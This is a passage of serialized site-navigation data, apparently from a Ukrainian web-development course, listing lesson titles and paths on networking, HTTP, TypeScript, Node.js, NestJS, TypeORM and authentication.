протоколи","\u002Fweb-development\u002Fnetwork-architecture-and-protocols","18.web-development\u002F01.network-architecture-and-protocols",[4026,4030,4034,4038,4042,4046,4050,4054,4058,4062],{"title":4027,"path":4028,"stem":4029},"Еволюція веброзробки та модель клієнт-сервер","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fweb-evolution-client-server","18.web-development\u002F01.network-architecture-and-protocols\u002F01.web-evolution-client-server",{"title":4031,"path":4032,"stem":4033},"Еталонна модель OSI","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fosi-model","18.web-development\u002F01.network-architecture-and-protocols\u002F02.osi-model",{"title":4035,"path":4036,"stem":4037},"Стек протоколів TCP\u002FIP","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Ftcp-ip-stack","18.web-development\u002F01.network-architecture-and-protocols\u002F03.tcp-ip-stack",{"title":4039,"path":4040,"stem":4041},"IP-адресація, порти та сокети","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fip-addressing-ports-sockets","18.web-development\u002F01.network-architecture-and-protocols\u002F04.ip-addressing-ports-sockets",{"title":4043,"path":4044,"stem":4045},"Протоколи TCP та UDP","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Ftcp-udp-protocols","18.web-development\u002F01.network-architecture-and-protocols\u002F05.tcp-udp-protocols",{"title":4047,"path":4048,"stem":4049},"Система доменних імен DNS","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fdns-system","18.web-development\u002F01.network-architecture-and-protocols\u002F06.dns-system",{"title":4051,"path":4052,"stem":4053},"Протокол SMTP та поштові протоколи","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fsmtp-email-protocols","18.web-development\u002F01.network-architecture-and-protocols\u002F07.smtp-email-protocols",{"title":4055,"path":4056,"stem":4057},"Протокол WebSocket","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fwebsocket-protocol","18.web-development\u002F01.network-architecture-and-protocols\u002F08.websocket-protocol",{"title":4059,"path":4060,"stem":4061},"Протокол SSH","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fssh-protocol","18.web-development\u002F01.network-architecture-and-protocols\u002F09.ssh-protocol",{"title":4063,"path":4064,"stem":4065},"Огляд сучасних серверних технологій","\u002Fweb-development\u002Fnetwork-architecture-and-protocols\u002Fmodern-backend-technologies","18.web-development\u002F01.network-architecture-and-protocols\u002F10.modern-backend-technologies",{"title":4067,"icon":4068,"path":4069,"stem":4070,"children":4071,"page":59},"Протокол HTTP та захищена передача даних HTTPS","i-lucide-lock","\u002Fweb-development\u002Fhttp-and-https","18.web-development\u002F02.http-and-https",[4072,4076,4080,4084,4088,4092,4096,4100],{"title":4073,"path":4074,"stem":4075},"Вступ до протоколу HTTP та еволюція веб-технологій","\u002Fweb-development\u002Fhttp-and-https\u002Fintroduction-and-evolution","18.web-development\u002F02.http-and-https\u002F01.introduction-and-evolution",{"title":4077,"path":4078,"stem":4079},"Анатомія HTTP-запиту","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-request-structure","18.web-development\u002F02.http-and-https\u002F02.http-request-structure",{"title":4081,"path":4082,"stem":4083},"Анатомія HTTP-відповіді","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-response-structure","18.web-development\u002F02.http-and-https\u002F03.http-response-structure",{"title":4085,"path":4086,"stem":4087},"Методи HTTP та їхня семантика","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-methods","18.web-development\u002F02.http-and-https\u002F04.http-methods",{"title":4089,"path":4090,"stem":4091},"Коди статусу HTTP та їхнє призначення","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-status-codes","18.web-development\u002F02.http-and-https\u002F05.http-status-codes",{"title":4093,"path":4094,"stem":4095},"HTTP-заголовки та їхнє призначення","\u002Fweb-development\u002Fhttp-and-https\u002Fhttp-headers","18.web-development\u002F02.http-and-https\u002F06.http-headers",{"title":4097,"path":4098,"stem":4099},"CORS та механізми безпеки HTTP","\u002Fweb-development\u002Fhttp-and-https\u002Fcors-and-security","18.web-development\u002F02.http-and-https\u002F07.cors-and-security",{"title":4101,"path":4102,"stem":4103},"HTTPS та криптографічні основи TLS","\u002Fweb-development\u002Fhttp-and-https\u002Fhttps-and-tls","18.web-development\u002F02.http-and-https\u002F08.https-and-tls",{"title":4105,"icon":2454,"path":4106,"stem":4107,"children":4108,"page":59},"Система типів мови TypeScript","\u002Fweb-development\u002Ftypescript-type-system","18.web-development\u002F03.typescript-type-system",[4109,4113,4117,4121,4125,4129],{"title":4110,"path":4111,"stem":4112},"Знайомство з TypeScript Compiler","\u002Fweb-development\u002Ftypescript-type-system\u002Fintroduction-compiler-config","18.web-development\u002F03.typescript-type-system\u002F01.introduction-compiler-config",{"title":4114,"path":4115,"stem":4116},"Примітивні типи даних: string, number, boolean","\u002Fweb-development\u002Ftypescript-type-system\u002Fprimitive-special-types","18.web-development\u002F03.typescript-type-system\u002F02.primitive-special-types",{"title":4118,"path":4119,"stem":4120},"Масиви, кортежі та об","\u002Fweb-development\u002Ftypescript-type-system\u002Farrays-tuples-objects","18.web-development\u002F03.typescript-type-system\u002F03.arrays-tuples-objects",{"title":4122,"path":4123,"stem":4124},"Псевдоніми типів, Union типи, Intersection типи та літеральні типи","\u002Fweb-development\u002Ftypescript-type-system\u002Funion-intersection-literals","18.web-development\u002F03.typescript-type-system\u002F04.union-intersection-literals",{"title":4126,"path":4127,"stem":4128},"Type Narrowing (звуження типів)","\u002Fweb-development\u002Ftypescript-type-system\u002Ftype-narrowing","18.web-development\u002F03.typescript-type-system\u002F05.type-narrowing",{"title":4130,"path":4131,"stem":4132},"Типізація функцій","\u002Fweb-development\u002Ftypescript-type-system\u002Ffunctions-typing","18.web-development\u002F03.typescript-type-system\u002F06.functions-typing",{"title":4134,"icon":2454,"path":4135,"stem":4136,"children":4137,"page":59},"Розширені засоби мови TypeScript","\u002Fweb-development\u002Ftypescript-advanced","18.web-development\u002F04.typescript-advanced",[4138,4142,4146,4150,4154,4158],{"title":4139,"path":4140,"stem":4141},"Interfaces та Classes","\u002Fweb-development\u002Ftypescript-advanced\u002Finterfaces-classes","18.web-development\u002F04.typescript-advanced\u002F01.interfaces-classes",{"title":4143,"path":4144,"stem":4145},"Основи Generic типів","\u002Fweb-development\u002Ftypescript-advanced\u002Fgenerics-fundamentals","18.web-development\u002F04.typescript-advanced\u002F02.generics-fundamentals",{"title":4147,"path":4148,"stem":4149},"Enums та Decorators","\u002Fweb-development\u002Ftypescript-advanced\u002Fenums-decorators","18.web-development\u002F04.typescript-advanced\u002F03.enums-decorators",{"title":4151,"path":4152,"stem":4153},"Utility Types","\u002Fweb-development\u002Ftypescript-advanced\u002Futility-types","18.web-development\u002F04.typescript-advanced\u002F04.utility-types",{"title":4155,"path":4156,"stem":4157},"Mapped та Conditional Types","\u002Fweb-development\u002Ftypescript-advanced\u002Fmapped-conditional-types","18.web-development\u002F04.typescript-advanced\u002F05.mapped-conditional-types",{"title":4159,"path":4160,"stem":4161},"Модулі та Strict Mode","\u002Fweb-development\u002Ftypescript-advanced\u002Fmodules-strict-mode","18.web-development\u002F04.typescript-advanced\u002F06.modules-strict-mode",{"title":4163,"icon":4164,"path":4165,"stem":4166,"children":4167,"page":59},"Платформа Node.js як середовище виконання","i-devicon-nodejs","\u002Fweb-development\u002Fnodejs-platform","18.web-development\u002F05.nodejs-platform",[4168,4172,4176,4180,4184,4188,4192,4196,4200,4204,4208,4211,4215],{"title":4169,"path":4170,"stem":4171},"Що таке Node.js та його архітектура","\u002Fweb-development\u002Fnodejs-platform\u002Fwhat-is-nodejs","18.web-development\u002F05.nodejs-platform\u002F01.what-is-nodejs",{"title":4173,"path":4174,"stem":4175},"Event Loop — серце Node.js","\u002Fweb-development\u002Fnodejs-platform\u002Fevent-loop","18.web-development\u002F05.nodejs-platform\u002F02.event-loop",{"title":4177,"path":4178,"stem":4179},"Модульні системи: CommonJS vs ES Modules","\u002Fweb-development\u002Fnodejs-platform\u002Fmodule-systems","18.web-development\u002F05.nodejs-platform\u002F03.module-systems",{"title":4181,"path":4182,"stem":4183},"npm та package.json","\u002Fweb-development\u002Fnodejs-platform\u002Fnpm-package-json","18.web-development\u002F05.nodejs-platform\u002F04.npm-package-json",{"title":4185,"path":4186,"stem":4187},"Глобальні об\\","\u002Fweb-development\u002Fnodejs-platform\u002Fglobal-objects","18.web-development\u002F05.nodejs-platform\u002F05.global-objects",{"title":4189,"path":4190,"stem":4191},"Вбудований модуль fs (File System)","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-fs","18.web-development\u002F05.nodejs-platform\u002F06.built-in-modules-fs",{"title":4193,"path":4194,"stem":4195},"Вбудований модуль path","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-path","18.web-development\u002F05.nodejs-platform\u002F07.built-in-modules-path",{"title":4197,"path":4198,"stem":4199},"Вбудований модуль http","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-http","18.web-development\u002F05.nodejs-platform\u002F08.built-in-modules-http",{"title":4201,"path":4202,"stem":4203},"Streams — потоки даних у Node.js","\u002Fweb-development\u002Fnodejs-platform\u002Fstreams","18.web-development\u002F05.nodejs-platform\u002F09.streams",{"title":4205,"path":4206,"stem":4207},"Вбудований модуль util (Utilities)","\u002Fweb-development\u002Fnodejs-platform\u002Fbuilt-in-modules-util","18.web-development\u002F05.nodejs-platform\u002F10.built-in-modules-util",{"title":3097,"path":4209,"stem":4210},"\u002Fweb-development\u002Fnodejs-platform\u002Fenvironment-variables","18.web-development\u002F05.nodejs-platform\u002F11.environment-variables",{"title":4212,"path":4213,"stem":4214},"Інструменти налагодження та розробки","\u002Fweb-development\u002Fnodejs-platform\u002Fdebugging-tools","18.web-development\u002F05.nodejs-platform\u002F12.debugging-tools",{"title":4216,"path":4217,"stem":4218},"Продуктивність та Best Practices","\u002Fweb-development\u002Fnodejs-platform\u002Fperformance-best-practices","18.web-development\u002F05.nodejs-platform\u002F13.performance-best-practices",{"title":4220,"icon":4221,"path":4222,"stem":4223,"children":4224,"page":59},"Асинхронне програмування у Node.js","i-lucide-clock","\u002Fweb-development\u002Fasync-programming-nodejs","18.web-development\u002F06.async-programming-nodejs",[4225,4229,4233,4237,4241,4245,4249,4253,4257,4261,4265],{"title":4226,"path":4227,"stem":4228},"Синхронний vs асинхронний код","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fsync-vs-async","18.web-development\u002F06.async-programming-nodejs\u002F01.sync-vs-async",{"title":4230,"path":4231,"stem":4232},"Callbacks — перша парадигма асинхронності","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fcallbacks","18.web-development\u002F06.async-programming-nodejs\u002F02.callbacks",{"title":4234,"path":4235,"stem":4236},"Promises — стандарт асинхронності","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fpromises","18.web-development\u002F06.async-programming-nodejs\u002F03.promises",{"title":4238,"path":4239,"stem":4240},"Promise комбінатори","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fpromise-combinators","18.web-development\u002F06.async-programming-nodejs\u002F04.promise-combinators",{"title":4242,"path":4243,"stem":4244},"Async\u002FAwait — синтаксичний цукор над Promises","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fasync-await","18.web-development\u002F06.async-programming-nodejs\u002F05.async-await",{"title":4246,"path":4247,"stem":4248},"Паралельне vs послідовне виконання","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fparallel-vs-sequential","18.web-development\u002F06.async-programming-nodejs\u002F06.parallel-vs-sequential",{"title":4250,"path":4251,"stem":4252},"EventEmitter — подієва модель Node.js","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fevent-emitter","18.web-development\u002F06.async-programming-nodejs\u002F07.event-emitter",{"title":4254,"path":4255,"stem":4256},"Worker Threads — багатопотоковість у Node.js","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fworker-threads","18.web-development\u002F06.async-programming-nodejs\u002F08.worker-threads",{"title":4258,"path":4259,"stem":4260},"Child Processes — запуск зовнішніх процесів","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fchild-processes","18.web-development\u002F06.async-programming-nodejs\u002F09.child-processes",{"title":4262,"path":4263,"stem":4264},"Обробка помилок у асинхронному коді","\u002Fweb-development\u002Fasync-programming-nodejs\u002Ferror-handling","18.web-development\u002F06.async-programming-nodejs\u002F10.error-handling",{"title":4266,"path":4267,"stem":4268},"Порівняння Node.js фреймворків","\u002Fweb-development\u002Fasync-programming-nodejs\u002Fnodejs-frameworks","18.web-development\u002F06.async-programming-nodejs\u002F11.nodejs-frameworks",{"title":4270,"icon":4271,"path":4272,"stem":4273,"children":4274,"page":59},"Тема 7. Фреймворк NestJS. Контролери та маршрутизація","i-lucide-route","\u002Fweb-development\u002Fnestjs-controllers-routing","18.web-development\u002F07.nestjs-controllers-routing",[4275,4279,4283,4287,4291,4295,4299,4303,4307,4311,4315,4319,4323,4327,4331,4335,4339,4343,4347,4351,4355,4359],{"title":4276,"path":4277,"stem":4278},"Філософія та архітектура NestJS","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fnestjs-philosophy","18.web-development\u002F07.nestjs-controllers-routing\u002F01.nestjs-philosophy",{"title":4280,"path":4281,"stem":4282},"Три стовпи архітектури: модулі, контролери, провайдери","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fthree-pillars","18.web-development\u002F07.nestjs-controllers-routing\u002F02.three-pillars",{"title":4284,"path":4285,"stem":4286},"Інверсія керування (IoC) та ін","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fioc-and-di","18.web-development\u002F07.nestjs-controllers-routing\u002F03.ioc-and-di",{"title":4288,"path":4289,"stem":4290},"Встановлення NestJS CLI та створення проєкту","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fnestjs-cli-setup","18.web-development\u002F07.nestjs-controllers-routing\u002F04.nestjs-cli-setup",{"title":4292,"path":4293,"stem":4294},"Структура проєкту NestJS та конвенції","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fproject-structure","18.web-development\u002F07.nestjs-controllers-routing\u002F05.project-structure",{"title":4296,"path":4297,"stem":4298},"Контролери: основи маршрутизації","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fcontrollers-basics","18.web-development\u002F07.nestjs-controllers-routing\u002F06.controllers-basics",{"title":4300,"path":4301,"stem":4302},"Декоратори маршрутизації HTTP-методів","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Froute-decorators","18.web-development\u002F07.nestjs-controllers-routing\u002F07.route-decorators",{"title":4304,"path":4305,"stem":4306},"Параметри маршруту та декоратор @Param","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Froute-parameters","18.web-development\u002F07.nestjs-controllers-routing\u002F08.route-parameters",{"title":4308,"path":4309,"stem":4310},"Query-параметри та декоратор @Query","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fquery-parameters","18.web-development\u002F07.nestjs-controllers-routing\u002F09.query-parameters",{"title":4312,"path":4313,"stem":4314},"Тіло запиту та декоратор @Body","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Frequest-body","18.web-development\u002F07.nestjs-controllers-routing\u002F10.request-body",{"title":4316,"path":4317,"stem":4318},"Робота з заголовками запиту та відповіді","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fheaders-decorators","18.web-development\u002F07.nestjs-controllers-routing\u002F11.headers-decorators",{"title":4320,"path":4321,"stem":4322},"Data Transfer Objects (DTO): визначення та призначення","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fdto-introduction","18.web-development\u002F07.nestjs-controllers-routing\u002F12.dto-introduction",{"title":4324,"path":4325,"stem":4326},"Об'єкти Request та Response","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Frequest-response-objects","18.web-development\u002F07.nestjs-controllers-routing\u002F13.request-response-objects",{"title":4328,"path":4329,"stem":4330},"HTTP-статус коди та декоратор @HttpCode","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fhttp-status-codes","18.web-development\u002F07.nestjs-controllers-routing\u002F14.http-status-codes",{"title":4332,"path":4333,"stem":4334},"Перенаправлення (Redirects) та декоратор @Redirect","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fredirects","18.web-development\u002F07.nestjs-controllers-routing\u002F15.redirects",{"title":4336,"path":4337,"stem":4338},"Асинхронні обробники та Observables","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fasync-handlers","18.web-development\u002F07.nestjs-controllers-routing\u002F16.async-handlers",{"title":4340,"path":4341,"stem":4342},"Маршрутизація за піддоменами та версіонування API","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fsub-domain-routing","18.web-development\u002F07.nestjs-controllers-routing\u002F17.sub-domain-routing",{"title":4344,"path":4345,"stem":4346},"Області видимості контролерів (Scopes)","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fcontroller-scopes","18.web-development\u002F07.nestjs-controllers-routing\u002F18.controller-scopes",{"title":4348,"path":4349,"stem":4350},"Основні команди NestJS CLI","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fnestjs-cli-commands","18.web-development\u002F07.nestjs-controllers-routing\u002F19.nestjs-cli-commands",{"title":4352,"path":4353,"stem":4354},"Практичний приклад: створення CRUD-контролера","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fcrud-example","18.web-development\u002F07.nestjs-controllers-routing\u002F20.crud-example",{"title":4356,"path":4357,"stem":4358},"Тестування контролерів","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Ftesting-controllers","18.web-development\u002F07.nestjs-controllers-routing\u002F21.testing-controllers",{"title":4360,"path":4361,"stem":4362},"Best Practices для контролерів та маршрутизації","\u002Fweb-development\u002Fnestjs-controllers-routing\u002Fbest-practices","18.web-development\u002F07.nestjs-controllers-routing\u002F22.best-practices",{"title":4364,"icon":4365,"path":4366,"stem":4367,"children":4368,"page":59},"Тема 8. Провайдери, сервіси та модульна система NestJS","i-lucide-package","\u002Fweb-development\u002Fnestjs-providers-modules","18.web-development\u002F08.nestjs-providers-modules",[4369,4373,4377,4381,4385,4389,4393,4397,4401,4405,4409,4413,4417,4421,4425],{"title":4370,"path":4371,"stem":4372},"Концепція провайдерів у NestJS","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fproviders-concept","18.web-development\u002F08.nestjs-providers-modules\u002F01.providers-concept",{"title":4374,"path":4375,"stem":4376},"Сервіси: інкапсуляція бізнес-логіки","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fservices-business-logic","18.web-development\u002F08.nestjs-providers-modules\u002F02.services-business-logic",{"title":4378,"path":4379,"stem":4380},"Практика ін","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fdependency-injection-practice","18.web-development\u002F08.nestjs-providers-modules\u002F03.dependency-injection-practice",{"title":4382,"path":4383,"stem":4384},"Custom Providers: useValue, useClass, useFactory, useExisting","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fcustom-providers","18.web-development\u002F08.nestjs-providers-modules\u002F04.custom-providers",{"title":4386,"path":4387,"stem":4388},"Injection Tokens: рядкові та символьні токени","\u002Fweb-development\u002Fnestjs-providers-modules\u002Finjection-tokens","18.web-development\u002F08.nestjs-providers-modules\u002F05.injection-tokens",{"title":4390,"path":4391,"stem":4392},"Опціональні провайдери та декоратор @Optional","\u002Fweb-development\u002Fnestjs-providers-modules\u002Foptional-providers","18.web-development\u002F08.nestjs-providers-modules\u002F07.optional-providers",{"title":4394,"path":4395,"stem":4396},"Структура модулів: imports, controllers, providers, exports","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fmodules-structure","18.web-development\u002F08.nestjs-providers-modules\u002F08.modules-structure",{"title":4398,"path":4399,"stem":4400},"Feature Modules: ізоляція функціональності","\u002Fweb-development\u002Fnestjs-providers-modules\u002Ffeature-modules","18.web-development\u002F08.nestjs-providers-modules\u002F09.feature-modules",{"title":4402,"path":4403,"stem":4404},"Shared Modules: перевикористання провайдерів","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fshared-modules","18.web-development\u002F08.nestjs-providers-modules\u002F10.shared-modules",{"title":4406,"path":4407,"stem":4408},"Global Modules та декоратор @Global","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fglobal-modules","18.web-development\u002F08.nestjs-providers-modules\u002F11.global-modules",{"title":4410,"path":4411,"stem":4412},"Dynamic Modules: конфігурація під час виконання","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fdynamic-modules","18.web-development\u002F08.nestjs-providers-modules\u002F12.dynamic-modules",{"title":4414,"path":4415,"stem":4416},"Циклічні залежності та forwardRef","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fcircular-dependencies","18.web-development\u002F08.nestjs-providers-modules\u002F13.circular-dependencies",{"title":4418,"path":4419,"stem":4420},"Lifecycle Hooks: хуки життєвого циклу","\u002Fweb-development\u002Fnestjs-providers-modules\u002Flifecycle-hooks","18.web-development\u002F08.nestjs-providers-modules\u002F14.lifecycle-hooks",{"title":4422,"path":4423,"stem":4424},"ModuleRef: динамічний доступ до провайдерів","\u002Fweb-development\u002Fnestjs-providers-modules\u002Fmodule-reference","18.web-development\u002F08.nestjs-providers-modules\u002F15.module-reference",{"title":4426,"path":4427,"stem":4428},"Тестування сервісів та провайдерів","\u002Fweb-development\u002Fnestjs-providers-modules\u002Ftesting-services","18.web-development\u002F08.nestjs-providers-modules\u002F16.testing-services",{"title":4430,"icon":4431,"path":4432,"stem":4433,"children":4434,"page":59},"Тема 9. Валідація даних та конвеєр обробки запитів у NestJS","i-lucide-filter","\u002Fweb-development\u002Fnestjs-validation-pipeline","18.web-development\u002F09.nestjs-validation-pipeline",[4435,4439,4443,4447,4451,4455,4459,4463,4467,4471,4475,4479,4483,4487,4491,4495,4499,4503,4507],{"title":4436,"path":4437,"stem":4438},"Request Pipeline: конвеєр обробки запитів","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Frequest-pipeline","18.web-development\u002F09.nestjs-validation-pipeline\u002F01.request-pipeline",{"title":4440,"path":4441,"stem":4442},"Pipes: концепція трансформації та валідації","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fpipes-concept","18.web-development\u002F09.nestjs-validation-pipeline\u002F02.pipes-concept",{"title":4444,"path":4445,"stem":4446},"Вбудовані pipes: ParseIntPipe, ParseBoolPipe, ParseUUIDPipe","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fbuilt-in-pipes","18.web-development\u002F09.nestjs-validation-pipeline\u002F03.built-in-pipes",{"title":4448,"path":4449,"stem":4450},"ValidationPipe: автоматична валідація DTO","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fvalidation-pipe","18.web-development\u002F09.nestjs-validation-pipeline\u002F04.validation-pipe",{"title":4452,"path":4453,"stem":4454},"Декоратори class-validator для DTO","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fclass-validator-decorators","18.web-development\u002F09.nestjs-validation-pipeline\u002F05.class-validator-decorators",{"title":4456,"path":4457,"stem":4458},"Створення кастомних валідаторів","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-validators","18.web-development\u002F09.nestjs-validation-pipeline\u002F06.custom-validators",{"title":4460,"path":4461,"stem":4462},"Створення власних Pipes","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-pipes","18.web-development\u002F09.nestjs-validation-pipeline\u002F07.custom-pipes",{"title":4464,"path":4465,"stem":4466},"Основи Middleware","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fmiddleware-basics","18.web-development\u002F09.nestjs-validation-pipeline\u002F08.middleware-basics",{"title":4468,"path":4469,"stem":4470},"Практичні приклади Middleware","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fmiddleware-examples","18.web-development\u002F09.nestjs-validation-pipeline\u002F09.middleware-examples",{"title":4472,"path":4473,"stem":4474},"Guards: захисні перехоплювачі доступу","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fguards-concept","18.web-development\u002F09.nestjs-validation-pipeline\u002F10.guards-concept",{"title":4476,"path":4477,"stem":4478},"Створення кастомних Guards","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-guards","18.web-development\u002F09.nestjs-validation-pipeline\u002F11.custom-guards",{"title":4480,"path":4481,"stem":4482},"Interceptors: перехоплення та трансформація відповідей","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Finterceptors-concept","18.web-development\u002F09.nestjs-validation-pipeline\u002F12.interceptors-concept",{"title":4484,"path":4485,"stem":4486},"Практичні приклади Interceptors","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Finterceptor-examples","18.web-development\u002F09.nestjs-validation-pipeline\u002F13.interceptor-examples",{"title":4488,"path":4489,"stem":4490},"Exception Filters: обробка виключень","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fexception-filters","18.web-development\u002F09.nestjs-validation-pipeline\u002F14.exception-filters",{"title":4492,"path":4493,"stem":4494},"Custom Exception Filters: спеціалізовані фільтри","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-exception-filters","18.web-development\u002F09.nestjs-validation-pipeline\u002F15.custom-exception-filters",{"title":4496,"path":4497,"stem":4498},"Execution Context: контекст виконання","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fexecution-context","18.web-development\u002F09.nestjs-validation-pipeline\u002F16.execution-context",{"title":4500,"path":4501,"stem":4502},"Custom Decorators: власні декоратори","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fcustom-decorators","18.web-development\u002F09.nestjs-validation-pipeline\u002F17.custom-decorators",{"title":4504,"path":4505,"stem":4506},"Global Components: глобальні компоненти","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fglobal-components","18.web-development\u002F09.nestjs-validation-pipeline\u002F18.global-components",{"title":4508,"path":4509,"stem":4510},"Pipeline Best Practices: найкращі практики","\u002Fweb-development\u002Fnestjs-validation-pipeline\u002Fpipeline-best-practices","18.web-development\u002F09.nestjs-validation-pipeline\u002F19.pipeline-best-practices",{"title":4512,"icon":2821,"path":4513,"stem":4514,"children":4515,"page":59},"Інтеграція реляційних баз даних засобами TypeORM","\u002Fweb-development\u002Ftypeorm-integration","18.web-development\u002F10.typeorm-integration",[4516,4520,4524,4528,4532,4536,4540],{"title":4517,"path":4518,"stem":4519},"Робота з базами даних у Node.js через нативні драйвери","\u002Fweb-development\u002Ftypeorm-integration\u002F01-nodejs-database-drivers","18.web-development\u002F10.typeorm-integration\u002F01-nodejs-database-drivers",{"title":4521,"path":4522,"stem":4523},"ORM та знайомство з TypeORM","\u002Fweb-development\u002Ftypeorm-integration\u002F02-orm-and-typeorm-intro","18.web-development\u002F10.typeorm-integration\u002F02-orm-and-typeorm-intro",{"title":4525,"path":4526,"stem":4527},"Налаштування TypeORM у NestJS проєкті","\u002Fweb-development\u002Ftypeorm-integration\u002F03-typeorm-setup-nestjs","18.web-development\u002F10.typeorm-integration\u002F03-typeorm-setup-nestjs",{"title":4529,"path":4530,"stem":4531},"Entity класи та декоратори TypeORM","\u002Fweb-development\u002Ftypeorm-integration\u002F04-entities-and-decorators","18.web-development\u002F10.typeorm-integration\u002F04-entities-and-decorators",{"title":4533,"path":4534,"stem":4535},"Repository Pattern та CRUD операції","\u002Fweb-development\u002Ftypeorm-integration\u002F05-repository-pattern-crud","18.web-development\u002F10.typeorm-integration\u002F05-repository-pattern-crud",{"title":4537,"path":4538,"stem":4539},"Пагінація та фільтрація даних","\u002Fweb-development\u002Ftypeorm-integration\u002F06-pagination-filtering","18.web-development\u002F10.typeorm-integration\u002F06-pagination-filtering",{"title":4541,"path":4542,"stem":4543},"QueryBuilder для складних запитів","\u002Fweb-development\u002Ftypeorm-integration\u002F07-query-builder","18.web-development\u002F10.typeorm-integration\u002F07-query-builder",{"title":4545,"icon":4546,"path":4547,"stem":4548,"children":4549,"page":59},"Зв'язки між сутностями, міграції та оптимізація запитів","i-lucide-git-branch","\u002Fweb-development\u002Fentity-relations-migrations","18.web-development\u002F11.entity-relations-migrations",[4550,4554,4558,4562,4566],{"title":4551,"path":4552,"stem":4553},"Зв'язки One-to-Many та Many-to-One","\u002Fweb-development\u002Fentity-relations-migrations\u002F01-one-to-many-many-to-one","18.web-development\u002F11.entity-relations-migrations\u002F01-one-to-many-many-to-one",{"title":4555,"path":4556,"stem":4557},"Зв'язки One-to-One та Many-to-Many","\u002Fweb-development\u002Fentity-relations-migrations\u002F02-one-to-one-many-to-many","18.web-development\u002F11.entity-relations-migrations\u002F02-one-to-one-many-to-many",{"title":4559,"path":4560,"stem":4561},"Керування міграціями бази даних","\u002Fweb-development\u002Fentity-relations-migrations\u002F03-migrations-management","18.web-development\u002F11.entity-relations-migrations\u002F03-migrations-management",{"title":4563,"path":4564,"stem":4565},"Транзакції у TypeORM","\u002Fweb-development\u002Fentity-relations-migrations\u002F04-transactions","18.web-development\u002F11.entity-relations-migrations\u002F04-transactions",{"title":4567,"path":4568,"stem":4569,"children":4570},"Індекси та оптимізація запитів","\u002Fweb-development\u002Fentity-relations-migrations\u002F05-indexes-optimization","18.web-development\u002F11.entity-relations-migrations\u002F05-indexes-optimization",[4571],{"title":4567,"path":4568,"stem":4569},{"title":4573,"icon":4574,"path":4575,"stem":4576,"children":4577,"page":59},"Механізми автентифікації у вебзастосунках","i-lucide-key","\u002Fweb-development\u002Fauthentication","18.web-development\u002F12.authentication",[4578,4582,4586,4590,4594,4598,4602,4606,4610],{"title":4579,"path":4580,"stem":4581},"Автентифікація vs Авторизація","\u002Fweb-development\u002Fauthentication\u002F01-authentication-vs-authorization","18.web-development\u002F12.authentication\u002F01-authentication-vs-authorization",{"title":4583,"path":4584,"stem":4585},"Стратегії 